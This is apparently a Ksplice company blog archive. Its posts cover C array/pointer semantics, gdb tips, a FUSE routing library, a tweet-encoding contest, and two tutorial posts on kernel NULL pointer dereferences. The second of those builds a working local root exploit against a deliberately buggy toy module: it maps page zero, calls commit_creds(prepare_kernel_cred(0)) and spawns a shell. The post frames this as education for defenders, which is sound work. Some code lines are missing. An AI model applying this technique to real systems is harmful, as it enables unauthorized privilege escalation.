## Tuesday Oct 18, 2011

### The Ksplice Pointer Challenge

Back when Ksplice was just a research project at MIT, we all spent a lot of time around the student computing group, SIPB. While there, several precocious undergrads kept talking about how excited they were to take 6.828, MIT's operating systems class.

"You really need to understand pointers for this class," we cautioned them. "Reread K&R Chapter 5, again." Of course, they insisted that they understood pointers and didn't need to. So we devised a test.

Ladies and gentlemen, I hereby do officially present the Ksplice Pointer Challenge, to be answered without the use of a computer:

What does this program print?

```#include <stdio.h>
int main() {
int x[5];
printf("%p\n", x);
printf("%p\n", x+1);
printf("%p\n", &x);
printf("%p\n", &x+1);
return 0;
}
```

This looks simple, but it captures a surprising amount of complexity. Let's break it down.

To make this concrete, let's assume that x is stored at address 0x7fffdfbf7f00 (this is a 64-bit system). We've hidden each entry so that you have to click to make it appear -- I'd encourage you to think about what the line should output, before revealing the answer.

`printf("%p\n", x);`
What will this print?

Well, x is an array, right? You're no stranger to array syntax: x[i] accesses the ith element of x.

If we search back in the depths of our memory, we remember that x[i] can be rewritten as *(x+i). For that to work, x must be the memory location of the start of the array.

Result: printf("%p\n", x) prints 0x7fffdfbf7f00. Alright.

`printf("%p\n", x+1);`
What will this print?

So, x is 0x7fffdfbf7f00, and therefore x+1 should be 0x7fffdfbf7f01, right?

You're not fooled. You remember that  in C, pointer arithmetic is special and magical. If you have a pointer p to an int, p+1 actually adds sizeof(int)to p. It turns out that we need this behavior if *(x+i) is properly going to end up pointing us at the right place -- we need to move over enough to pass one entry in the array. In this case, sizeof(int) is 4.

Result: printf("%p\n", x) prints 0x7fffdfbf7f04. So far so good.

`printf("%p\n", &x);`
What will this print?

Well, let's see. & basically means "the address of", so this is like asking "Where does x live in memory?" We answered that earlier, didn't we? x lives at 0x7fffdfbf7f00, so that's what this should print.

But hang on a second... if &x is 0x7fffdfbf7f00, that means that it lives at 0x7fffdfbf7f00. But when we print x, we also get 0x7fffdfbf7f00. So x == &x.

How can that possibly work? If x is a pointer that lives at 0x7fffdfbf7f00, and also points to 0x7fffdfbf7f00, where is the actual array stored?

Thinking about that, I draw a picture like this:

That can't be right.

So what's really going on here? Well, first off, anyone who ever told you that a pointer and an array were the same thing was lying to you. That's our fallacy here. If x were a pointer, and x == &x, then yes, we would have something like the picture above. But x isn't a pointer -- x is an array!

And it turns out that in certain situations, an array can automatically "decay" into a pointer. Into &x[0], to be precise. That's what's going on in examples 1 and 2. But not here. So &x does indeed print the address of x.

Result: printf("%p\n", &x) prints 0x7fffdfbf7f00.

Aside: what is the type of &x[0]? Well, x[0] is an int, so &x[0] is "pointer to int". That feels right.

`printf("%p\n", &x+1);`
What will this print?

Ok, now for the coup de grace. x may be an array, but &x is definitely a pointer. So what's &x+1?

First, another aside: what is the type of &x? Well... &x is a pointer to an array of 5 ints. How would you declare something like that?

Let's fire up cdecl and find out:

```cdecl> declare y as array 5 of int;
int y[5]
cdecl> declare y as pointer to array 5 of int;
int (*y)[5]```

Confusing syntax, but it works:
int (*y)[5] = &x; compiles without error and works the way you'd expect.

But back to the question at hand. Pointer arithmetic tells us that &x+1 is going to be the address of x + sizeof(x). What's sizeof(x)? Well, it's an array of 5 ints. On this system, each int is 4 bytes, so it should be 20 bytes, or 0x14.

Result &x+1 prints 0x7fffdfbf7f14.

And thus concludes the Ksplice pointer challenge.

What's the takeaway? Arrays are not pointers (though they sometimes pretend to be!). More generally, C is subtle. Oh, and 6.828 students, if you're having trouble with Lab 5, it's probably because of a bug in your Lab 2.

P.S. If you're interested in hacking on low-level systems at a place where your backwards-and-forwards knowledge of C semantics will be more than just an awesome party trick, we're looking to hire kernel hackers for the Ksplice team.

We're based in beautiful Cambridge, Mass., though working remotely is definitely an option. Send me an email at waseem.daher@oracle.com with a resume and/or a github link if you're interested!

## Monday Jan 24, 2011

### 8 gdb tricks you should know

Despite its age, gdb remains an amazingly versatile and flexible tool, and mastering it can save you huge amounts of time when trying to debug problems in your code. In this post, I'll share 10 tips and tricks for using GDB to debug most efficiently.

I'll be using the Linux kernel for examples throughout this post, not because these examples are necessarily realistic, but because it's a large C codebase that I know and that anyone can download and take a look at. Don't worry if you aren't familiar with Linux's source in particular -- the details of the examples won't matter too much.

1. `break WHERE if COND`

If you've ever used gdb, you almost certainly know about the "breakpoint" command, which lets you break at some specified point in the debugged program.

But did you know that you can set conditional breakpoints? If you add ```if CONDITION``` to a breakpoint command, you can include an expression to be evaluated whenever the program reaches that point, and the program will only be stopped if the condition is fulfilled. Suppose I was debugging the Linux kernel and wanted to stop whenever init got scheduled. I could do:

``````(gdb) break context_switch if next == init_task
``````

Note that the condition is evaluated by gdb, not by the debugged program, so you still pay the cost of the target stopping and switching to gdb every time the breakpoint is hit. As such, they still slow the target down in relation to to how often the target location is hit, not how often the condition is met.

2. `command`

In addition to conditional breakpoints, the `command` command lets you specify commands to be run every time you hit a breakpoint. This can be used for a number of things, but one of the most basic is to augment points in a program to include debug output, without having to recompile and restart the program. I could get a minimal log of every `mmap()` operation performed on a system using:

``````(gdb) b do_mmap_pgoff
Breakpoint 1 at 0xffffffff8111a441: file mm/mmap.c, line 940.
(gdb) command 1
Type commands for when breakpoint 1 is hit, one per line.
End with a line saying just "end".
>print len
>print prot
>end
(gdb)
``````
3. `gdb --args`

This one is simple, but a huge timesaver if you didn't know it. If you just want to start a program under gdb, passing some arguments on the command line, you can just build your command-line like usual, and then put "gdb --args" in front to launch gdb with the target program and the argument list both set:

``````[~]\$ gdb --args pizzamaker --deep-dish --toppings=pepperoni
...
(gdb) show args
Argument list to give program being debugged when it is started is
" --deep-dish --toppings=pepperoni".
(gdb) b main
Breakpoint 1 at 0x45467c: file oven.c, line 123.
(gdb) run
...
``````

I find this especially useful if I want to debug a project that has some arcane wrapper script that assembles lots of environment variables and possibly arguments before launching the actual binary (I'm looking at you, libtool). Instead of trying to replicate all that state and then launch gdb, simply make a copy of the wrapper, find the final "exec" call or similar, and add "gdb --args" in front.

4. Finding source files

I run Ubuntu, so I can download debug symbols for most of the packages on my system from ddebs.ubuntu.com, and I can get source using `apt-get source`. But how do I tell gdb to put the two together? If the debug symbols include relative paths, I can use gdb's `directory` command to add the source directory to my source path:

``````[~/src]\$ apt-get source coreutils
[~/src]\$ sudo apt-get install coreutils-dbgsym
[~/src]\$ gdb /bin/ls
GNU gdb (GDB) 7.1-ubuntu
(gdb) list main
1192    ls.c: No such file or directory.
in ls.c
(gdb) directory ~/src/coreutils-7.4/src/
Source directories searched: /home/nelhage/src/coreutils-7.4:\$cdir:\$cwd
(gdb) list main
1192        }
1193    }
1194
1195    int
1196    main (int argc, char **argv)
1197    {
1198      int i;
1199      struct pending *thispend;
1200      int n_files;
1201
``````

Sometimes, however, debug symbols end up with absolute paths, such as the kernel's. In that case, I can use `set substitute-path` to tell gdb how to translate paths:

``````[~/src]\$ apt-get source linux-image-2.6.32-25-generic
[~/src]\$ sudo apt-get install linux-image-2.6.32-25-generic-dbgsym
[~/src]\$ gdb /usr/lib/debug/boot/vmlinux-2.6.32-25-generic
(gdb) list schedule
5519    /build/buildd/linux-2.6.32/kernel/sched.c: No such file or directory.
in /build/buildd/linux-2.6.32/kernel/sched.c
(gdb) set substitute-path /build/buildd/linux-2.6.32 /home/nelhage/src/linux-2.6.32/
(gdb) list schedule
5519
5521    {
5522        u64 runtime = p->se.sum_exec_runtime - p->se.prev_sum_exec_runtime;
5523
5524        update_avg(&p->se.avg_running, runtime);
5525
5526        if (p->state == TASK_RUNNING) {
5527            /*
5528             * In order to avoid avg_overlap growing stale when we are
``````
5. Debugging macros

One of the standard reasons almost everyone will tell you to prefer inline functions over macros is that debuggers tend to be better at dealing with inline functions. And in fact, by default, gdb doesn't know anything at all about macros, even when your project was built with debug symbols:

``````(gdb) p GFP_ATOMIC
No symbol "GFP_ATOMIC" in current context.
No symbol "task_is_stopped" in current context.
``````

However, if you're willing to tell GCC to generate debug symbols specifically optimized for gdb, using `-ggdb3`, it can preserve this information:

``````\$ make KCFLAGS=-ggdb3
...
(gdb) break schedule
(gdb) continue
(gdb) p/x GFP_ATOMIC
\$1 = 0x20
\$2 = 0
``````

You can also use the `macro` and `info macro` commands to work with macros from inside your gdb session:

``````(gdb) macro expand task_is_stopped_or_traced(init_task)
expands to: ((init_task->state & (4 | 8)) != 0)
Defined at include/linux/sched.h:218
included at include/linux/nmi.h:7
included at kernel/sched.c:31
``````

Note that gdb actually knows which contexts macros are and aren't visible, so when you have the program stopped inside some function, you can only access macros visible at that point. (You can see that the "included at" lines above show you through exactly what path the macro is visible).

6. gdb variables

Whenever you `print` a variable in gdb, it prints this weird `\$NN =` before it in the output:

``````(gdb) p 5+5
\$1 = 10
``````

This is actually a gdb variable, that you can use to reference that same variable any time later in your session:

``````(gdb) p \$1
\$2 = 10
``````

You can also assign your own variables for convenience, using `set`:

``````(gdb) set \$foo = 4
(gdb) p \$foo
\$3 = 4
``````

This can be useful to grab a reference to some complex expression or similar that you'll be referencing many times, or, for example, for simplicity in writing a conditional breakpoint (see tip 1).

7. Register variables

In addition to the numeric variables, and any variables you define, gdb exposes your machine's registers as pseudo-variables, including some cross-architecture aliases for common ones, like `\$sp` for the the stack pointer, or `\$pc` for the program counter or instruction pointer.

These are most useful when debugging assembly code or code without debugging symbols. Combined with a knowledge of your machine's calling convention, for example, you can use these to inspect function parameters:

``````(gdb) break write if \$rsi == 2
``````

will break on all writes to stderr on amd64, where the `\$rsi` register is used to pass the first parameter.

8. The `x` command

Most people who've used gdb know about the `print` or `p` command, because of its obvious name, but I've been surprised how many don't know about the power of the `x` command.

`x` (for "examine") is used to output regions of memory in various formats. It takes two arguments in a slightly unusual syntax:

``````x/FMT ADDRESS
``````

`ADDRESS`, unsurprisingly, is the address to examine; It can be an arbitrary expression, like the argument to `print`.

`FMT` controls how the memory should be dumped, and consists of (up to) three components:

• A numeric COUNT of how many elements to dump
• A single-character FORMAT, indicating how to interpret and display each element
• A single-character SIZE, indicating the size of each element to display.

`x` displays COUNT elements of length SIZE each, starting from ADDRESS, formatting them according to the FORMAT.

There are many valid "format" arguments; `help x` in gdb will give you the full list, so here's my favorites:

`x/x` displays elements in hex, `x/d` displays them as signed decimals, `x/c` displays characters, `x/i` disassembles memory as instructions, and `x/s` interprets memory as C strings.

The SIZE argument can be one of: `b`, `h`, `w`, and `g`, for one-, two-, four-, and eight-byte blocks, respectively.

If you have debug symbols so that GDB knows the types of everything you might want to inspect, `p` is usually a better choice, but if not, `x` is invaluable for taking a look at memory.

``````[~]\$ grep saved_command /proc/kallsyms
ffffffff81946000 B saved_command_line

(gdb) x/s 0xffffffff81946000
ffffffff81946000 <>:     "root=/dev/sda1 quiet"
``````

`x/i` is invaluable as a quick way to disassemble memory:

``````(gdb) x/5i schedule
0xffffffff8154804a <schedule>:   push   %rbp
0xffffffff8154804b <schedule+1>: mov    \$0x11ac0,%rdx
0xffffffff81548052 <schedule+8>: mov    %gs:0xb588,%rax
0xffffffff8154805b <schedule+17>:    mov    %rsp,%rbp
0xffffffff8154805e <schedule+20>:    push   %r15
``````

If I'm stopped at a segfault in unknown code, one of the first things I try is something like `x/20i \$ip-40`, to get a look at what the code I'm stopped at looks like.

A quick-and-dirty but surprisingly effective way to debug memory leaks is to let the leak grow until it consumes most of a program's memory, and then attach `gdb` and just `x` random pieces of memory. Since the leaked data is using up most of memory, you'll usually hit it pretty quickly, and can try to interpret what it must have come from.

~nelhage

Ksplice is hiring!

Do you love tinkering with, exploring, and debugging Linux systems? Does writing Python clones of your favorite childhood computer games sound like a fun weekend project? Have you ever told a joke whose punch line was a git command?

Join Ksplice and work on technology that most people will tell you is impossible: updating the Linux kernel while it is running.

Help us develop the software and infrastructure to bring rebootless kernel updates to Linux, as well as new operating system kernels and other parts of the software stack. We're hiring backend, frontend, and kernel engineers. Say hello at jobs@ksplice.com!

## Wednesday Jul 07, 2010

### Building Filesystems the Way You Build Web Apps

FUSE is awesome. While most major Linux filesystems (ext3, XFS, ReiserFS, btrfs) are built-in to the Linux kernel, FUSE is a library that lets you instead write filesystems as userspace applications. When something attempts to access the filesystem, those accesses get passed on to the FUSE application, which can then return the filesystem data.

It lets you quickly prototype and test filesystems that can run on multiple platforms without writing kernel code. You can easily experiment with strange and unusual interactions between the filesystem and your applications. You can even build filesystems without writing a line of C code.

FUSE has a reputation of being used only for toy filesystems (when are you actually going to use flickrfs?), but that's really not fair. FUSE is currently the best way to read NTFS partitions on Linux, how non-GNOME and legacy applications can access files over SFTP, SMB, and other protocols, and the only way to run ZFS on Linux.

But because the FUSE API calls separate functions for each system call (i.e. `getattr`, `open`, `read`, etc.), in order to write a useful filesystem you need boilerplate code to translate requests for a particular path into a logical object in your filesystem, and you need to do this in every FUSE API function you implement.

### Take a page from web apps

This is the kind of problem that web development frameworks have also had to solve, since it's been a long time since a URL always mapped directly onto a file on the web server. And while there are a handful of approaches for handling URL dispatch, I've always been a fan of the URL dispatch style popularized by routing in Ruby on Rails, which was later ported to Python as the Routes library.

Routes dissociates an application's URL structure from your application's internal organization, so that you can connect arbitrary URLs to arbitrary controllers. However, a more common use of Routes involves embedding variables in the Routes configuration, so that you can support a complex and potentially arbitrary set of URLs with a comparatively simple configuration block. For instance, here is the (slightly simplified) Routes configuration from a Pylons web application:

```from routes import Mapper

def make_map():
map = Mapper()
map.minimization = False

# The ErrorController route (handles 404/500 error pages); it should
# likely stay at the top, ensuring it can always be resolved
map.connect('error/{action}/{id}', controller='error')
map.connect('/', controller='status', action='index')
map.connect('/{controller}', action='index')
map.connect('/{controller}/{action}')
map.connect('/{controller}/{action}/{id}')

return map
```

In this example, `{controller}`, `{action}`, and `{id}` are variables which can match any string within that component. So, for instance, if someone were to access `/spend/new` within the web application, Routes would find a controller named `spend`, and would call the `new` action on that method.

### RouteFS: URL routing for filesystems

Just as URLs take their inspiration from the filesystem, we can use the ideas from URL routing in our filesystem. And to make this easy, I created a project called RouteFS. RouteFS ties together FUSE and Routes, and it's great because it lets you specify your filesystem in terms of the filesystem hierarchy instead of in terms of the system calls to access it.

RouteFS was originally developed as a generalized solution to a real problem I faced while working on the Invirt project at MIT. We wanted a series of filesystem entries that were automatically updated when our database changed (specifically, we were using `.k5login` files to control access to a server), so we used RouteFS to build a filesystem where every filesystem lookup was resolved by a database query, ensuring that our filesystem always stayed up to date.

Today, however, we're going to be using RouteFS to build the very thing I lampooned FUSE for: toy filesystems. I'll be demonstrating how to build a simple filesystem in less than 60 lines of code. I want to continue the popular theme of exposing Web 2.0 services as filesystems, but I'm also a software engineer at a very Git- and Linux-heavy company. The popular Git repository hosting site Github has an API for interacting with the repositories hosted there, so we'll use the Python bindings for the API to build a Github filesystem, or GithubFS. GithubFS lets you examine the Git repositories on Github, as well as the different branches of those repositories.

### Getting started

If you want to follow along, you'll first need to install FUSE itself, along with the Python FUSE bindings - look for a `python-fuse` or `fuse-python` package. You'll also need a few third-party Python packages: Routes, RouteFS, and github2. Routes and RouteFS are available from the Python Cheeseshop, so you can install those by running `easy_install Routes RouteFS`. For github2, you'll need the bleeding edge version, which you can get by running `easy_install http://github.com/ask/python-github2/tarball/master`

Now then, let's start off with the basic shell of a RouteFS filesystem:

```#!/usr/bin/python

import routes
import routefs

class GithubFS(routefs.RouteFS):
def make_map(self):
m = routes.Mapper()
return m

if __name__ == '__main__':
routefs.main(GithubFS)
```

As with the web application code above, the `make_map` method of the `GithubFS` class creates, configures, and returns a Python Routes mapper, which RouteFS uses for dispatching accesses to the filesystem. The `routefs.main` function takes a RouteFS class and handles instantiating the class and mounting the filesystem.

### Populating the filesystem

Now that we have a filesystem, let's put some files in it:

```#!/usr/bin/python

import routes
import routefs

class GithubFS(routefs.RouteFS):
def __init__(self, *args, **kwargs):
super(GithubFS, self).__init__(*args, **kwargs)

# Maps user -&gt; [projects]
self.user_cache = {}

def make_map(self):
m = routes.Mapper()
m.connect('/', controller='list_users')
return m

def list_users(self, **kwargs):
return [user
for user, projects in self.user_cache.iteritems()
if projects]

if __name__ == '__main__':
routefs.main(GithubFS)
```

Here, we add our first Routes mapping, connecting `'/'`, or the root of the filesystem, to the `list_users` controller, which is just a method on the filesystem's class. The `list_users` controller returns a list of strings. When the controller that a path maps to returns a list, RouteFS automatically makes that path into a directory. To make a path be a file, you just return a single string containing the file's contents.

We'll use the `user_cache` attribute to keep track of the users that we've seen and their repositories. This will let us auto-populate the root of the filesystem as users get looked up.

Let's add some code to populate that cache:

```#!/usr/bin/python

from github2 import client
import routes
import routefs

class GithubFS(routefs.RouteFS):
def __init__(self, *args, **kwargs):
super(GithubFS, self).__init__(*args, **kwargs)

# Maps user -&gt; [projects]
self.user_cache = {}
self.github = client.Github()

def make_map(self):
m = routes.Mapper()
m.connect('/', controller='list_users')
m.connect('/{user}', controller='list_repos')
return m

def list_users(self, **kwargs):
return [user
for user, projects in self.user_cache.iteritems()
if projects]

def list_repos(self, user, **kwargs):
if user not in self.user_cache:
try:
self.user_cache[user] = [r.name
for r in self.github.repos.list(user)]
except:
self.user_cache[user] = None

return self.user_cache[user]

if __name__ == '__main__':
routefs.main(GithubFS)
```

That's enough code that we can start interacting with the filesystem:

```opus:~ broder\$ ./githubfs /mnt/githubfs
opus:~ broder\$ ls /mnt/githubfs
opus:~ broder\$ ls /mnt/githubfs/ebroder
anygit	    githubfs	 pyhesiodfs	 python-simplestar
auto-aklog  ibtsocs	 python-github2  python-zephyr
bluechips   libhesiod	 python-hesiod
debmarshal  ponyexpress  python-moira
debothena   pyafs	 python-routefs
opus:~ broder\$ ls /mnt/githubfs
ebroder
```

### Users and projects and branches, oh my!

You can see a slightly more fleshed-out filesystem on (where else?) Github. GithubFS lets you look at the current SHA-1 for each branch in each repository for a user:

```opus:~ broder\$ ./githubfs /mnt/githubfs
opus:~ broder\$ ls /mnt/githubfs/ebroder
anygit	    githubfs	 pyhesiodfs	 python-simplestar
auto-aklog  ibtsocs	 python-github2  python-zephyr
bluechips   libhesiod	 python-hesiod
debmarshal  ponyexpress  python-moira
debothena   pyafs	 python-routefs
opus:~ broder\$ ls /mnt/githubfs/ebroder/githubfs
master
opus:~ broder\$ cat /mnt/githubfs/ebroder/githubfs/master
cb4fc93ba381842fa0c2b34363d52475c4109852
```

### What next?

Want to see more examples of RouteFS? RouteFS itself includes some example filesystems, and you can see how we used RouteFS within the Invirt project. But most importantly, because RouteFS is open source, you can incorporate it into your own projects.

So, what cool tricks can you think of for dynamically generated filesystems?

## Monday Apr 19, 2010

### 1st International Longest Tweet Contest: The Winners

How much information is in a tweet?

A month ago, we asked that question, in the First International Longest Tweet Contest. The most longwinded tweeters on earth answered the call. The result: about 4,370 bits.

Congrats to the entrants, and best of luck honing your entries for next year! Ksplice is pleased to award our acclaimed, limited-edition T-shirts to the top three contenders.

In no particular order, they are:

• Todd Lehman

Mr. Lehman's entry, originally posted as a blog comment, was mathematically elegant. The scheme is simple: use the fact that Twitter allows each "character" to be a 31-bit UCS-4 code position -- there are 231, or 2,147,483,648 of them. Make use of all the bits you can without straying into legitimate Unicode (i.e. the first 1,114,112 code positions), since Twitter represents real Unicode differently and could cause ambiguities. That leaves 2,146,369,536 legal values for each "character."

Mr. Lehman's scheme represents the input as a 4339-bit integer, and simply repeatedly divides the number by 2,146,369,536. The remainder of each division, he encodes into each character. Nice! His entry includes a partial implementation in Java.

• C-P and Adam from Defcon Group 949

The guys from dc949.org previously made a whole Twitter filesystem, outlined in this video. The took advantage of the UCS-4 trick to update their program. They thew in a bunch of clever tricks of their own: storing data in the latitude and longitude, and 7 bits in the place_id field. The cherry on top: representing one bit in whether the tweet is "favorited"! All told, by dc949's count, this gets you to 4,368 bits.

The downside: in our testing, their implementation didn't quite work. Fed with random bits, we often got truncated or incorrect results (even with an updated version dc949 supplied). The bugs can probably be fixed, but until that happens we can't quite confirm that all these fields store as many bits as dc949 believes.

• Ben Savage

We liked Ben's entry too much not to give him a T-shirt:

```Solution - Just tweet the following picture of a swimming fish:

".·´¯`·.´¯`·.¸¸.·´¯`·.¸><(((º>"

Given that 1 word is 16 bits, and a picture is equal to 1,000 words,

that makes my above tweet 16,000 bits of information (fitting

several pictures in a tweet may extend this further) :-)

```

Thanks again to all who participated! Until next time...

## Monday Apr 12, 2010

Last time, we took a brief look at virtual memory and what a `NULL` pointer really means, as well as how we can use the `mmap(2)` function to map the `NULL` page so that we can safely use a `NULL` pointer. We think that it's important for developers and system administrators to be more knowledgeable about the attacks that black hats regularly use to take control of systems, and so, today, we're going to start from where we left off and go all the way to a working exploit for a `NULL` pointer dereference in a toy kernel module.

A quick note: For the sake of simplicity, concreteness, and conciseness, this post, as well as the previous one, assumes Intel x86 hardware throughout. Most of the discussion should be applicable elsewhere, but I don't promise any of the details are the same.

### `nullderef.ko`

In order to allow you play along at home, I've prepared a trivial kernel module that will deliberately cause a `NULL` pointer derefence, so that you don't have to find a new exploit or run a known buggy kernel to get a `NULL` dereference to play with. I'd encourage you to download the source and follow along at home. If you're not familiar with building kernel modules, there are simple directions in the README. The module should work on just about any Linux kernel since 2.6.11.

Don't run this on a machine you care about – it's deliberately buggy code, and will easily crash or destabilize the entire machine. If you want to follow along, I recommend spinning up a virtual machine for testing.

While we'll be using this test module for demonstration, a real exploit would instead be based on a `NULL` pointer dereference somewhere in the core kernel (such as last year's `sock_sendpage` vulnerability), which would allow an attacker to trigger a `NULL` pointer dereference -- much like the one this toy module triggers -- without having to load a module of their own or be root.

If we build and load the `nullderef` module, and execute

```echo 1 > /sys/kernel/debug/nullderef/null_read

```

our shell will crash, and we'll see something like the following on the console (on a physical console, out a serial port, or in `dmesg`):

```BUG: unable to handle kernel NULL pointer dereference at 00000000

```

e We saw last time that we can map the `NULL` page in our own application. How does this help us with kernel `NULL` dereferences? Surely, if every application has its own address space and set of addresses, the core operating system itself must also have its own address space, where it and all of its code and data live, and mere user programs can't mess with it?

For various reasons, that that's not quite how it works. It turns out that switching between address spaces is relatively expensive, and so to save on switching address spaces, the kernel is actually mapped into every process's address space, and the kernel just runs in the address space of whichever process was last executing.

In order to prevent any random program from scribbling all over the kernel, the operating system makes use of a feature of the x86's virtual memory architecture called memory protection. At any moment, the processor knows whether it is executing code in user (unprivileged) mode or in kernel mode. In addition, every page in the virtual memory layout has a flag on it that specifies whether or not user code is allowed to access it. The OS can thus arrange things so that program code only ever runs in "user" mode, and configures virtual memory so that only code executing in "kernel" mode is allowed to read or write certain addresses. For instance, on most 32-bit Linux machines, in any process, the address `0xc0100000` refers to the start of the kernel's memory – but normal user code is not allowed to read or write it.

A diagram of virtual memory and memory protection

Since we have to prevent user code from arbitrarily changing privilege levels, how do we get into kernel mode? The answer is that there are a set of entry points in the kernel that expect to be callable from unprivileged code. The kernel registers these with the hardware, and the hardware has instructions that both switch to one of these entry points, and change to kernel mode. For our purposes, the most relevant entry point is the system call handler. System calls are how programs ask the kernel to do things for them. For example, if a programs want to write from a file, it prepares a file descriptor referring to the file and a buffer containing the data to write. It places them in a specified location (usually in certain registers), along with the number referring to the `write(2)` system call, and then it triggers one of those entry points. The system call handler in the kernel then decodes the argument, does the write, and return to the calling program.

This all has at least two important consequence for exploiting `NULL` pointer dereferences:

First, since the kernel runs in the address space of a userspace process, we can map a page at `NULL` and control what data a `NULL` pointer dereference in the kernel sees, just like we could for our own process!

Secondly, if we do somehow manage to get code executing in kernel mode, we don't need to do any trickery at all to get at the kernel's data structures. They're all there in our address space, protected only by the fact that we're not normally able to run code in kernel mode.

We can demonstrate the first fact with the following program, which writes to the `null_read` file to force a kernel `NULL` dereference, but with the `NULL` page mapped, so that nothing goes wrong:

(As in part I, you'll need to `echo 0 > /proc/sys/vm/mmap_min_addr` as root before trying this on any recent distribution's kernel. While `mmap_min_addr` does provide some protection against these exploits, attackers have in the past found numerous ways around this restriction. In a real exploit, an attacker would use one of those or find a new one, but for demonstration purposes it's easier to just turn it off as root.)

```#include <sys/mman.h>
#include <stdio.h>
#include <fcntl.h>

int main() {
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
write(fd, "1", 1);
close(fd);

printf("Triggered a kernel NULL pointer dereference!\n");
return 0;
}
```

Writing to that file will trigger a `NULL` pointer dereference by the `nullderef` kernel module, but because it runs in the same address space as the user process, the read proceeds fine and nothing goes wrong – no kernel oops. We've passed the first step to a working exploit.

### Putting it together

To put it all together, we'll use the other file that `nullderef` exports, `null_call`. Writing to that file causes the module to read a function pointer from address `0`, and then call through it. Since the Linux kernel uses function pointers essentially everywhere throughout its source, it's quite common that a `NULL` pointer dereference is, or can be easily turned into, a `NULL` function pointer dereference, so this is not totally unrealistic.

So, if we just drop a function pointer of our own at address `0`, the kernel will call that function pointer in kernel mode, and suddenly we're executing our code in kernel mode, and we can do whatever we want to kernel memory.

We could do anything we want with this access, but for now, we'll stick to just getting root privileges. In order to do so, we'll make use of two built-in kernel functions, `prepare_kernel_cred` and `commit_creds`. (We'll get their addresses out of the `/proc/kallsyms` file, which, as its name suggests, lists all kernel symbols with their addresses)

`struct cred` is the basic unit of "credentials" that the kernel uses to keep track of what permissions a process has – what user it's running as, what groups it's in, any extra credentials it's been granted, and so on. `prepare_kernel_cred` will allocate and return a new `struct cred` with full privileges, intended for use by in-kernel daemons. `commit_cred` will then take the provided `struct cred`, and apply it to the current process, thereby giving us full permissions.

Putting it together, we get:

```#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

struct cred;

typedef struct cred *(*prepare_kernel_cred_t)(struct task_struct *daemon)
__attribute__((regparm(3)));
typedef int (*commit_creds_t)(struct cred *new)
__attribute__((regparm(3)));

prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;

/* Find a kernel symbol in /proc/kallsyms */
void *get_ksym(char *name) {
FILE *f = fopen("/proc/kallsyms", "rb");
char c, sym[512];
int ret;

while(fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0)
if (!strcmp(sym, name))
return NULL;
}

/* This function will be executed in kernel mode. */
void get_root(void) {
commit_creds(prepare_kernel_cred(0));
}

int main() {
prepare_kernel_cred = get_ksym("prepare_kernel_cred");
commit_creds        = get_ksym("commit_creds");

if (!(prepare_kernel_cred && commit_creds)) {
"Is your kernel older than 2.6.29?\n");
}

/* Put a pointer to our function at NULL */
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
void (**fn)(void) = NULL;
*fn = get_root;

/* Trigger the kernel */
int fd = open("/sys/kernel/debug/nullderef/null_call", O_WRONLY);
write(fd, "1", 1);
close(fd);

if (getuid() == 0) {
char *argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
}

fprintf(stderr, "Something went wrong?\n");
return 1;
}
```

(`struct cred` is new as of kernel 2.6.29, so for older kernels, you'll need to use this this version, which uses an old trick based on pattern-matching to find the location of the current process's user id. Drop me an email or ask in a comment if you're curious about the details.)

So, that's really all there is. A "production-strength" exploit might add lots of bells and whistles, but, there'd be nothing fundamentally different. `mmap_min_addr` offers some protection, but crackers and security researchers have found ways around it many times before. It's possible the kernel developers have fixed it for good this time, but I wouldn't bet on it.

One last note: Nothing in this post is a new technique or news to exploit authors. Every technique described here has been in active use for years. This post is intended to educate developers and system administrators about the attacks that are in regular use in the wild.

## Saturday Apr 10, 2010

### Reminder: Last day for Longest Tweet Contest entries

Reminder: The entry period for the 1st International Longest Tweet Contest closes today. Good luck!

## Monday Mar 29, 2010

Here at Ksplice, we're always keeping a very close eye on vulnerabilities that are being announced in Linux. And in the last half of last year, it was very clear that NULL pointer dereference vulnerabilities were the current big thing. Brad Spengler made it abundantly clear to anyone who was paying the least bit attention that these vulnerabilities, far more than being mere denial of service attacks, were trivially exploitable privilege escalation vulnerabilities. Some observers even dubbed 2009 the year of the kernel NULL pointer dereference.

If you've ever programmed in C, you've probably run into a `NULL` pointer dereference at some point. But almost certainly, all it did was crash your program with the dreaded "Segmentation Fault". Annoying, and often painful to debug, but nothing more than a crash. So how is it that this simple programming error becomes so dangerous when it happens in the kernel? Inspired by all the fuss, this post will explore a little bit of how memory works behind the scenes on your computer. By the end of today's installment, we'll understand how to write a C program that reads and writes to a `NULL` pointer without crashing. In a future post, I'll take it a step further and go all the way to showing how an attacker would exploit a `NULL` pointer dereference in the kernel to take control of a machine!

## What's in a pointer?

There's nothing fundamentally magical about pointers in C (or assembly, if that's your thing). A pointer is just an integer, that (with the help of the hardware) refers to a location somewhere in that big array of bits we call a computer's memory. We can write a C program to print out a random pointer:

```#include <stdio.h>
int main(int argc, char **argv) {
printf("The argv pointer = %d\n", argv);
return 0;
}
```

Which, if you run it on my machine, prints:

```The argv pointer = 1680681096

```

(Pointers are conventionally written in hexadecimal, which would make that `0x642d2888`, but that's just a notational thing. They're still just integers.)

`NULL` is only slightly special as a pointer value: if we look in stddef.h, we can see that it's just defined to be the pointer with value 0. The only thing really special about `NULL` is that, by convention, the operating system sets things up so that `NULL` is an invalid pointer, and any attempts to read or write through it lead to an error, which we call a segmentation fault. However, this is just convention; to the hardware, `NULL` is just another possible pointer value.

But what do those integers actually mean? We need to understand a little bit more about how memory works in a modern computer. In the old days (and still on many embedded devices), a pointer value was literally an index into all of the memory on those little RAM chips in your computer:

Mapping pointers directly to hardware memory

This was true for every program, including the operating system itself. You can probably guess what goes wrong here: suppose that Microsoft Word is storing your document at address `700` in memory. Now, you're browsing the web, and a bug in Internet Explorer causes it to start scribbling over random memory and it happens to scribble over memory around address `700`. Suddenly, bam, Internet Explorer takes Word down with it. It's actually even worse than that: a bug in IE can even take down the entire operating system.

